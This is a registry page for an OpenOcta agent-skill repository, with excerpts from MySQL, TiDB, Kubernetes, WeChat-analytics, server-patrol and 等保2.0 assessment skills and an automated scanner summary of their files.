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openocta/openocta_skills
本仓库用于汇集第三方贡献的 OpenOcta 技能(Skill)资源,便于分享、版本管理与分发。
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
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Heat
4.0- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- mysql-full-inspection-skill
MySQL数据库巡检 - k8s负载检测及处置
k8s负载检测及处置 - mysql-deadlock-analyzer
mysql-deadlock-analyzer - mysql-replication-lag-resolver
mysql-replication-lag-resolver - mysql-slow-query-diagnose
mysql-slow-query-diagnose - your-skill-name
template - tidb-cluster-inspector
tidb_cluster_inspector - k8s_skill
wanted-phase1/k8s_skill - prometheus_skill
wanted-phase1/prometheus_skill - zabbix_skill
wanted-phase1/zabbix_skill - wechat-gzh-analyzer
微信公众号文章数据爬虫分析 - server-patrol
服务器巡检 - djbh-assessment
等保测评skill
How it works
mysql-full-inspection-skill
When your agent uses it
对远程多实例MySQL数据库执行全方位深度巡检,覆盖基础健康、连接负载、性能慢查询、索引冗余、主从复制、容量空间、账号安全、配置风险八大维度,全自动完成巡检扫描、风险识别、问题定级、优化建议、报告归档与飞书推送,适用于生产/测试所有运行中MySQL实例常态化合规巡检。适用场景:用户要求进行 MySQL 全链路健康检查、MySQL 综合巡检、MySQL 风险扫描、MySQL 性能审计、MySQL 主从状态核查、MySQL 安全检测,并生成 MySQL 全量巡检报告时使用。
What it loads into context
Frontmatter
178 tokensAlways available to the agent
SKILL.md
3,847 tokensWhen the skill is activated
Reference documents
4,986 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 一、Skill整体概述
- 二、环境依赖与目录规范
- 三、七大巡检模块功能详解+CLI执行命令
- 一、巡检基础信息
- 二、各模块巡检结果汇总
- 三、风险问题汇总
- 四、标准化优化建议
- 五、巡检结论
Scripts executed separately
scripts/mysql_inspect/mysql_inspect_architecture.pyscripts/mysql_inspect/mysql_inspect_basic.pyscripts/mysql_inspect/mysql_inspect_connection.pyscripts/mysql_inspect/mysql_inspect_performance.pyscripts/mysql_inspect/mysql_inspect_prometheus.pyscripts/mysql_inspect/mysql_inspect_report.pyscripts/mysql_inspect/mysql_inspect_security.pyscripts/mysql_inspect/mysql_trend_analysis.py
Files
SKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesSKILL.mdcore14,376 bytesreports/mysql-full-inspect-20260527114828.mddoc2,779 bytesreports/mysql-full-inspect-20260527135010.mddoc2,764 bytesreports/mysql-full-inspection-report-20250109.mddoc10,760 bytesscripts/mysql_inspect/mysql_inspect_architecture.pyruns2,466 bytesscripts/mysql_inspect/mysql_inspect_basic.pyruns2,388 bytesscripts/mysql_inspect/mysql_inspect_connection.pyruns3,787 bytesscripts/mysql_inspect/mysql_inspect_performance.pyruns3,696 bytesscripts/mysql_inspect/mysql_inspect_prometheus.pyruns5,808 bytesscripts/mysql_inspect/mysql_inspect_report.pyruns5,782 bytesscripts/mysql_inspect/mysql_inspect_security.pyruns2,786 bytesscripts/mysql_inspect/mysql_trend_analysis.pyruns14,652 bytes
Read SKILL.md
# MySQL全方位深度巡检Skill
## 一、Skill整体概述
### 1.1 技能定位
本Skill为**企业级MySQL全维度自动化巡检闭环技能**,融合静态数据库现场巡检与Prometheus动态时序指标趋势分析,彻底解决传统单点瞬时巡检无法发现的隐性性能瓶颈、长期资源劣化、业务流量波动、间歇性故障、慢查询累积劣化等运维痛点。全面兼容MySQL 5.7/8.0版本,支持单节点、主从复制架构,内置标准化错误码、风险智能定级、自动报告生成、飞书机器人推送全闭环能力,可直接用于日常定时巡检、故障复盘、合规审计、性能优化、上线验收等运维场景。
### 1.2 核心能力
- 基础健康巡检:实例连通性校验、版本识别、运行时长、最大连接、字符集等基础配置合规校验
- 连接负载巡检:总会话、活跃会话、超时空闲无效连接统计,连接使用率、线程缓存命中率检测,规避连接堆积与连接泄露
View the complete source on GitHubWhen your agent uses it
What it loads into context
Frontmatter
0 tokensAlways available to the agent
SKILL.md
9,138 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 一、正式执行规范
- 二、快速操作示例(Quick Examples)
- 三、路由匹配规则(Route First)
- 四、模板输出规则(Template Overrides)
- 五、目标节点优先级(Node Target Priority)
- 六、标准执行流程(Standard Flow)
- 七、数据统计规范(Statistical Guidelines)
- 八、执行安全红线(Guardrails)
- 九、统一返回输出内容(Respond With)
- 十、参考文档(References)
- 十一、响应检查清单(Response Checklist)
- 十二、详细注意事项(补充完善)
Scripts executed separately
scripts/k8s_api/node_metrics.pyscripts/k8s_api/pod_evict.pyscripts/k8s_api/pod_locate.pyscripts/k8s_api/troubleshoot_report.py
Files
SKILL.mdcore33,117 bytesSKILL.mdcore33,117 bytesSKILL.mdcore33,117 bytesSKILL.mdcore33,117 bytesSKILL.mdcore33,117 bytesSKILL.mdcore33,117 bytesscripts/k8s_api/node_metrics.pyruns8,636 bytesscripts/k8s_api/pod_evict.pyruns7,271 bytesscripts/k8s_api/pod_locate.pyruns7,944 bytesscripts/k8s_api/troubleshoot_report.pyruns8,992 bytes
Read SKILL.md
# K8s 节点高负载排查与 Pod 驱逐 Skills
```Plain Text
---
name: k8s-node-high-load-pod-eviction-skills
description: K8s节点CPU高负载(>70%)、内存高负载(>70%)排查、高负载Pod定位、Pod驱逐调度及排障报告生成Skill。Use when users ask to check k8s node high load, query node/container metrics, locate high-load pods, evict and schedule pods to other nodes, generate troubleshooting reports for k8s node high CPU usage.
---
```
# K8s 节点高负载排查与 Pod 驱逐 Skills
本技能专为OpenOcta运维智能体设计,用于K8s集群节点CPU高负载(CPU使用率>70%)、内存高负载(内存使用率>70%)场景下的指标查询、高负载Pod定位、Pod驱逐调度及排障报告生成,全程遵循“指标查询-定位根因-处置调度-审计报告”的闭环逻辑,确保K8s集群节点负载可控、业务稳定运行。
## 一、正式执行规范
View the complete source on GitHubmysql-deadlock-analyzer
When your agent uses it
Full-chain MySQL deadlock analysis. Captures InnoDB status, parses lock chains, identifies deadlock patterns (AB-BA / Gap Lock / FK), finds current lock waits and long transactions, outputs structured report with fix recommendations. Supports MySQL 5.7+ performance_schema and 5.6 compatibility mode.
What it loads into context
Frontmatter
106 tokensAlways available to the agent
SKILL.md
2,217 tokensWhen the skill is activated
Reference documents
187 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Required MCP Server
- Diagnostic Workflow
- Output Template
- Example Usage
- Best Practices
- Quick Reference
Files
README.mddoc628 bytesSKILL.mdcore9,038 bytesSKILL.mdcore9,038 bytesmate.jsonasset414 bytes
Read SKILL.md
# MySQL Deadlock Analyzer
## Overview
Deadlocks are among the most difficult database issues to diagnose — they involve multiple transactions, lock chains, and often intermittent patterns. This skill performs a full-chain deadlock analysis:
1. Capture the latest deadlock from InnoDB status
2. Parse lock chains (who holds what, who waits for what)
3. Classify deadlock pattern (AB-BA mutual wait, Gap Lock, FK cascade, etc.)
4. Check for current lock waits and long transactions
5. Output a structured report with root cause and fix recommendations
## When to Use
View the complete source on GitHubmysql-replication-lag-resolver
When your agent uses it
Replication lag root cause analysis with automated resolution workflow. Detects lag, identifies blocking queries on the master, presents KILL candidates with safety classification, and executes KILL only after double user confirmation. Reduces recovery from 20 minutes to 2 minutes.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
2,749 tokensWhen the skill is activated
Reference documents
170 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Required MCP Server
- ⚠<U+FE0F> CRITICAL: Safety Rules
- Diagnostic Workflow
- Output Templates
- Example Usage
- Best Practices
- Quick Reference
Files
README.mddoc573 bytesSKILL.mdcore10,743 bytesmate.jsonasset391 bytes
Read SKILL.md
# MySQL Replication Lag Resolver (Auto-Diagnose + Fix)
## Overview
Replication lag is one of the most critical database incidents — it means read replicas are falling behind the master, serving stale data to applications. Traditional resolution requires DBA to: receive alert → open laptop → connect VPN → login to jumpbox → check slave status → find blocking queries on master → decide what to kill → execute KILL → monitor recovery. **20+ minutes at 2 AM.**
This skill automates the entire diagnosis and presents a one-click resolution:
1. **Detect** — Check Seconds_Behind_Master and replication health
2. **Root Cause** — Find long-running queries on master blocking binlog sync
3. **Classify** — Mark each query as safe/caution/dangerous to kill
4. **Present** — Show candidates with impact analysis
5. **Resolve** — Execute KILL with double user confirmation
6. **Verify** — Monitor lag recovery in real-timeView the complete source on GitHubmysql-slow-query-diagnose
When your agent uses it
Slow query diagnosis with root cause analysis and index optimization recommendations. Identifies TOP N slow queries, analyzes scan efficiency, calculates index hit rate, and suggests covering indexes — turning a 20-minute manual diagnosis into 8 seconds.
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
2,901 tokensWhen the skill is activated
Reference documents
170 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Required MCP Server
- Diagnostic Workflow
- Output Templates
- Example Usage
- Best Practices
- Quick Reference
Files
README.mddoc555 bytesSKILL.mdcore11,869 bytesmate.jsonasset398 bytes
Read SKILL.md
# MySQL Slow Query Diagnose (Diagnosis + Optimization)
## Overview
Slow queries are the #1 cause of database performance degradation. This skill goes beyond simply listing slow queries — it performs **root cause analysis** for each one: how many rows scanned vs returned, which index was used (or missed), and what index to add to fix it.
Key capabilities:
- Identify TOP N slow queries by execution time, lock time, or scan rows
- Calculate **index hit rate** (rows_examined / rows_sent) — the key metric for query efficiency
- Analyze EXPLAIN plans to identify full table scans, filesort, temporary tables
- Suggest **covering indexes** with estimated improvement
- Output a prioritized action list sorted by impact
**Real-world result**: A DBA team reduced average slow query resolution from 20 minutes to 8.3 seconds — **144x improvement** — by having AI perform the diagnosis automatically.View the complete source on GitHubyour-skill-name
When your agent uses it
用一两句话说明在什么场景下必须加载本技能(触发条件)。
What it loads into context
Frontmatter
28 tokensAlways available to the agent
SKILL.md
206 tokensWhen the skill is activated
Reference documents
526 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 何时使用
- 执行步骤
- 约束与安全
- 故障排查
Scripts executed separately
resources/example.shscripts/test.py
Files
README.mddoc1,599 bytesSKILL.mdcore788 bytesmate.jsonasset270 bytesreferences/example.mddoc243 bytesresources/example.shruns0 bytesscripts/test.pyruns217 bytes
Read SKILL.md
# Your Skill 标题
## 何时使用
- 列出典型用户请求或任务类型。
- 明确与其它技能的分界(可选)。
## 执行步骤
1. **准备**:检查前置条件(路径、权限、环境变量等)。
2. **操作**:按顺序给出可执行步骤;如需读取参考资料,指明路径例如 `references/example.md`。
3. **收尾**:说明如何验证成功、如何汇报结果。
## 约束与安全View the complete source on GitHubtidb-cluster-inspector
When your agent uses it
Comprehensive TiDB cluster inspection. Checks cluster topology, node health, slow queries, hot regions, TiKV storage status, PD scheduling, leader skew, and TopSQL drain (latency / execution count / memory). Outputs a full inspection report with prioritized findings. Compatible with TiDB v4.0+.
What it loads into context
Frontmatter
101 tokensAlways available to the agent
SKILL.md
3,128 tokensWhen the skill is activated
Reference documents
382 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Required MCP Server
- Diagnostic Workflow
- Scope & Limitations
- Output Template
- Example Usage
- Best Practices
- Quick Reference
Files
README.mddoc1,273 bytesSKILL.mdcore11,874 bytesSKILL.mdcore11,874 bytesSKILL.mdcore11,874 bytesSKILL.mdcore11,874 bytesmate.jsonasset517 bytes
Read SKILL.md
# TiDB Cluster Inspector
## Overview
TiDB clusters have a complex distributed architecture (TiDB + PD + TiKV) where issues in any component can cascade. This skill performs a systematic inspection across all layers:
1. **Topology** — Map all nodes, versions, uptime
2. **Node Health** — Check each TiDB/PD/TiKV node status
3. **Slow Queries** — Identify TOP N slow queries
4. **Hot Regions** — Detect read/write hotspots (hot-degree ranked)
5. **TiKV Storage** — Capacity and region distribution
6. **PD Scheduling** — Leader/region balance check
7. **Leader Skew** — Detect leader concentration imbalance across TiKV stores
8. **TopSQL** — Rank SQL by total latency, execution count, and memoryView the complete source on GitHubk8s_skill
When your agent uses it
当用户问题涉及 Kubernetes 集群运维、Workload 排障、资源与事件分析时加载本技能。
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
242 tokensWhen the skill is activated
Reference documents
176 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 何时使用
- 执行步骤
- 约束与安全
- 故障排查
Files
README.mddoc590 bytesSKILL.mdcore877 bytesmate.jsonasset330 bytes
Read SKILL.md
# Kubernetes 运维与排障(待补充)
## 何时使用
- (占位)列出触发本技能的典型请求,例如:Pod 无法调度、Service 不通、HPA 异常等。
## 执行步骤
1. **准备**:确认集群访问方式(kubeconfig、上下文)、命名空间与权限边界。
2. **操作**:(占位)按场景给出有序排查步骤;长文档放在 `references/`。
3. **收尾**:说明如何验证恢复、需要同步的变更记录项。
## 约束与安全
View the complete source on GitHubprometheus_skill
When your agent uses it
当用户问题涉及 Prometheus 采集、PromQL、告警规则、联邦或性能问题时加载本技能。
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
200 tokensWhen the skill is activated
Reference documents
139 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 何时使用
- 执行步骤
- 约束与安全
- 故障排查
Files
README.mddoc504 bytesSKILL.mdcore721 bytesmate.jsonasset352 bytes
Read SKILL.md
# Prometheus 运维与可观测(待补充)
## 何时使用
- (占位)例如:指标缺失、抓取失败、规则评估延迟、告警风暴等。
## 执行步骤
1. **准备**:确认 Prometheus / Agent 部署形态与目标实例标签约定。
2. **操作**:(占位)分场景给出排查与验证步骤。
3. **收尾**:记录规则或配置变更的影响面。
## 约束与安全
View the complete source on GitHubzabbix_skill
When your agent uses it
当用户问题涉及 Zabbix Server/Proxy、模板、触发器、采集项或性能问题时加载本技能。
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
212 tokensWhen the skill is activated
Reference documents
133 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 何时使用
- 执行步骤
- 约束与安全
- 故障排查
Files
README.mddoc435 bytesSKILL.mdcore730 bytesmate.jsonasset332 bytes
Read SKILL.md
# Zabbix 运维与排障(待补充)
## 何时使用
- (占位)例如:采集不上数、触发器误报、前端缓慢、历史数据膨胀等。
## 执行步骤
1. **准备**:区分 Server / Proxy / Agent 角色与网络可达性。
2. **操作**:(占位)按场景给出排查顺序与验证方式。
3. **收尾**:涉及模板发布或全局参数变更时说明回滚思路。
## 约束与安全
View the complete source on GitHubwechat-gzh-analyzer
When your agent uses it
分析微信公众号后台数据,包括文章阅读量、评论、点赞等统计。当用户需要分析微信公众号数据、导出公众号文章统计报表时调用此技能。
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
4,947 tokensWhen the skill is activated
Reference documents
723 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 📋 完整工作流程
- 🛠<U+FE0F> 相关命令
- 📊 参数说明
- 📁 输出文件
- 📈 Excel 报告内容
- ⚙<U+FE0F> 环境要求
- 📦 安装依赖
- ⚠<U+FE0F> 重要注意事项
- 🔧 故障排查
Scripts executed separately
scripts/data_analyzer.pyscripts/wechat_spiderb.py
Files
README.mddoc2,650 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesSKILL.mdcore17,137 bytesscripts/data_analyzer.pyruns7,425 bytesscripts/wechat_spiderb.pyruns21,719 bytes
Read SKILL.md
# 微信公众号数据分析器 (Playwright 版)
自动登录微信公众平台,分析文章数据并生成 Excel 报告和可视化图表。
## 📋 完整工作流程
### 步骤 1: 运行脚本(后台模式)
当用户请求分析公众号数据时,AI 助手**必须以后台模式**执行脚本:
**⚠<U+FE0F> 关键:不要用 `&` 后台化!** Hermes terminal 工具不支持 `&` 后台化(会报错 `command uses '&' backgrounding`),正确方式是用 `background=true` 参数:
```bash
# ✅ 正确方式:后台运行,避免阻塞
terminal(background=true, command="cd /root/.hermes/skills/openclaw-wxgzh/scripts && python3 wechat_spiderb.py -t week -p 1")View the complete source on GitHubserver-patrol
When your agent uses it
Linux 与网络设备只读健康巡检;直接运行 scripts/patrol.sh,配置由平台侧信道注入,Agent 不读取环境变量
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,011 tokensWhen the skill is activated
Reference documents
4,636 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 何时使用
- 用户目标
- Agent 执行规则(必读)
- 分析思路
- 处理思路
- 输出要求
- 注意事项
- 能力依赖
Scripts executed separately
scripts/patrol.sh
Files
README.mddoc14,545 bytesSKILL.mdcore3,439 bytesSKILL.mdcore3,439 bytesconfig.envasset2,743 bytesscripts/patrol.shruns71,365 bytesserver-patrol.zipasset29,397 bytes
Read SKILL.md
# 基础设施巡检 (server-patrol)
面向 **Linux 服务器** 与 **网络设备**(路由器、交换机、防火墙等)的**只读**巡检 Skill。
| 对象 | 检查项 |
|------|--------|
| Linux | uptime、负载、CPU、内存、磁盘、systemd 服务、Docker |
| 网络设备 | Ping 连通、TCP 端口、SNMP(可选)、SSH 只读命令(Cisco / 华为 / H3C) |
## 何时使用
- 「服务器巡检」「网络设备巡检」「路由器状态」「交换机健康」「定时巡检」
- **不适用**:改配置、重启设备、下发 ACL 等写操作
View the complete source on GitHubdjbh-assessment
When your agent uses it
Invoke for 等保2.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T 22239-2019.
What it loads into context
Frontmatter
56 tokensAlways available to the agent
SKILL.md
11,070 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 等保级别速查
- 等保2.0安全域全景图
- 一、测评全流程(六阶段)
- 阶段0:系统定级与备案
- 阶段1:差距分析(现状调研)
- 阶段2:现场测评(核心阶段)
- 阶段3:渗透测试
- 阶段4:整改加固建议
- 阶段5:复测验证
- 阶段6:报告生成
- 附录A:等保2.0评分速算
- 附录B:全流程自动化脚本
- 附录C:测评记录模板(CSV)
- 附录D:法律法规依据
- 使用说明
Files
skill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytesskill.mdcore35,485 bytes
Read SKILL.md
# 网络安全等级保护测评技能(等保2.0)
本技能在Kali Linux环境中执行等保2.0(GB/T 22239-2019)全流程测评,覆盖安全通用要求与云计算/工控/物联网/大数据/移动互联扩展要求。
## 等保级别速查
| 等级 | 名称 | 典型对象 | 测评周期 |
|------|------|----------|----------|
| 第一级 | 自主保护级 | 小型企业内网 | 不定级 |
| 第二级 | 指导保护级 | 一般企业门户/邮件 | 每两年一次 |
| 第三级 | 监督保护级 | 政务/金融/运营商 | 每年一次 |
| 第四级 | 强制保护级 | 国家重要信息系统 | 每半年一次 |
| 第五级 | 专控保护级 | 国家核心机密系统 | 视情况而定 |
View the complete source on GitHubSkills included
- mysql-full-inspection-skill
- mysql-deadlock-analyzer
- mysql-replication-lag-resolver
- mysql-slow-query-diagnose
- your-skill-name
- tidb-cluster-inspector
- k8s_skill
- prometheus_skill
- zabbix_skill
- wechat-gzh-analyzer
- server-patrol
- djbh-assessment
Repository facts
- License
- MIT
- Created
- May 9, 2026
- Last pushed
- Jun 22, 2026
- Forks
- 51
- Open issues
- 0
- Project activity
- Slowing
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 5, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 80 notes
MySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedMySQL数据库巡检/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedk8s负载检测及处置/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedk8s负载检测及处置/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedk8s负载检测及处置/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedk8s负载检测及处置/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedk8s负载检测及处置/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedmysql-deadlock-analyzer/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedtidb_cluster_inspector/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedtidb_cluster_inspector/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedtidb_cluster_inspector/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed微信公众号文章数据爬虫分析/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 4 dangerous shell commandsin 2 files: 服务器巡检/scripts/patrol.sh:456 等保测评skill/skill.md:640
- 88 network referencesin 14 files: 等保测评skill/skill.md:114 微信公众号文章数据爬虫分析/scripts/wechat_spiderb.py:202 MySQL数据库巡检/SKILL.md:42 and 11 more
- No hidden or obfuscated text
- No instruction overrides
- 17 executable scriptsin 17 files: MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_architecture.py:1 MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_basic.py:1 MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_connection.py:1 and 14 more
- 9 references to secretsin 4 files: 服务器巡检/README.md:77 服务器巡检/scripts/patrol.sh:19 等保测评skill/skill.md:116 and 1 more
- No requests to vote in Hot
Show all 118 signals by file
MySQL数据库巡检/SKILL.md
- Network accessline 42
pip3 install pymysql requests -i https://pypi.tuna.tsinghua.edu.cn/simple - Network accessline 136
python3 scripts/mysql_inspect/mysql_inspect_prometheus.py metrics --prom-url http://PrometheusIP:9090 --instance 数据库IP:3306 --time-range 24 - Network accessline 236
} try: resp = requests.post(webhook_url, json=payload, timeout=10) - Network accessline 237
try: resp = requests.post(webhook_url, json=payload, timeout=10) resp_data = resp.json() - Network accessline 238
resp = requests.post(webhook_url, json=payload, timeout=10)
MySQL数据库巡检/reports/mysql-full-inspection-report-20250109.md
MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_architecture.py
- Executable scriptline 1
#!/usr/bin/env python3
MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_basic.py
- Executable scriptline 1
#!/usr/bin/env python3
MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_connection.py
- Executable scriptline 1
#!/usr/bin/env python3
MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_performance.py
- Executable scriptline 1
#!/usr/bin/env python3
MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_prometheus.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 33
def query_prom(query): try: rsp = requests.get(f"{prom_url}/api/v1/query", params={"query": query}, timeout=10) - Network accessline 34
try: rsp = requests.get(f"{prom_url}/api/v1/query", params={"query": query}, timeout=10) return rsp.json() - Network accessline 35
rsp = requests.get(f"{prom_url}/api/v1/query", params={"query": query}, timeout=10)
MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_report.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 109
} try: resp = requests.post(webhook_url, json=payload, timeout=10) - Network accessline 110
try: resp = requests.post(webhook_url, json=payload, timeout=10) resp_data = resp.json() - Network accessline 111
resp = requests.post(webhook_url, json=payload, timeout=10)
MySQL数据库巡检/scripts/mysql_inspect/mysql_inspect_security.py
- Executable scriptline 1
#!/usr/bin/env python3
MySQL数据库巡检/scripts/mysql_inspect/mysql_trend_analysis.py
k8s负载检测及处置/SKILL.md
- Network accessline 68
# 6. 推送排障报告至飞书群组(需替换为实际飞书webhook地址) python3 scripts/k8s_api/troubleshoot_report.py push --webhook-url https://open.feishu.cn/open-apis/bot/v2/hook/xxx --report-path ./reports/k8s-high-load-xxx.md - Network accessline 69
python3 scripts/k8s_api/troubleshoot_report.py push --webhook-url https://open.feishu.cn/open-apis/bot/v2/hook/xxx --report-path ./reports/k8s-high-load-xxx.md - Network accessline 229
`python3 scripts/k8s_api/troubleshoot_report.py push --webhook-url https://open.feishu.cn/open-apis/bot/v2/hook/xxx --report-path ./reports/k8s-high-load-xxx.md`
k8s负载检测及处置/scripts/k8s_api/node_metrics.py
- Executable scriptline 1
#!/usr/bin/env python3
k8s负载检测及处置/scripts/k8s_api/pod_evict.py
- Executable scriptline 1
#!/usr/bin/env python3
k8s负载检测及处置/scripts/k8s_api/pod_locate.py
- Executable scriptline 1
#!/usr/bin/env python3
k8s负载检测及处置/scripts/k8s_api/troubleshoot_report.py
- Executable scriptline 1
#!/usr/bin/env python3
mysql-deadlock-analyzer/README.md
- Network accessline 10
## 使用 将 SKILL.md 放入 OpenOcta skills 目录,配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server:https://github.com/vicleung01/openocta-db-ops-skills - Network accessline 11
将 SKILL.md 放入 OpenOcta skills 目录,配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server:https://github.com/vicleung01/openocta-db-ops-skills
mysql-replication-lag-resolver/README.md
- Network accessline 9
## 使用 将 SKILL.md 放入 OpenOcta skills 目录,配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server:https://github.com/vicleung01/openocta-db-ops-skills - Network accessline 10
将 SKILL.md 放入 OpenOcta skills 目录,配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server:https://github.com/vicleung01/openocta-db-ops-skills
mysql-slow-query-diagnose/README.md
- Network accessline 10
## 使用 将 SKILL.md 放入 OpenOcta skills 目录,配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server:https://github.com/vicleung01/openocta-db-ops-skills - Network accessline 11
将 SKILL.md 放入 OpenOcta skills 目录,配置一个 MySQL/MariaDB 的 db_* MCP 工具即可。完整 pack + 参考 MCP server:https://github.com/vicleung01/openocta-db-ops-skills
template/resources/example.sh
- Executable scriptline 1
Executable file
template/scripts/test.py
- Executable scriptline 1
#!/usr/bin/env python3
tidb_cluster_inspector/README.md
- Network accessline 18
## 使用 将 SKILL.md 放入 OpenOcta skills 目录,配置一个能连 TiDB 的 db_query MCP 工具即可。任意 db_* MCP server 均可,或使用参考实现:https://github.com/vicleung01/openocta-db-ops-skills (含参考 MCP server + 完整 8-skill pack) - Network accessline 19
将 SKILL.md 放入 OpenOcta skills 目录,配置一个能连 TiDB 的 db_query MCP 工具即可。任意 db_* MCP server 均可,或使用参考实现:https://github.com/vicleung01/openocta-db-ops-skills (含参考 MCP server + 完整 8-skill pack)
微信公众号文章数据爬虫分析/scripts/data_analyzer.py
- Executable scriptline 1
Executable file - Network accessline 103
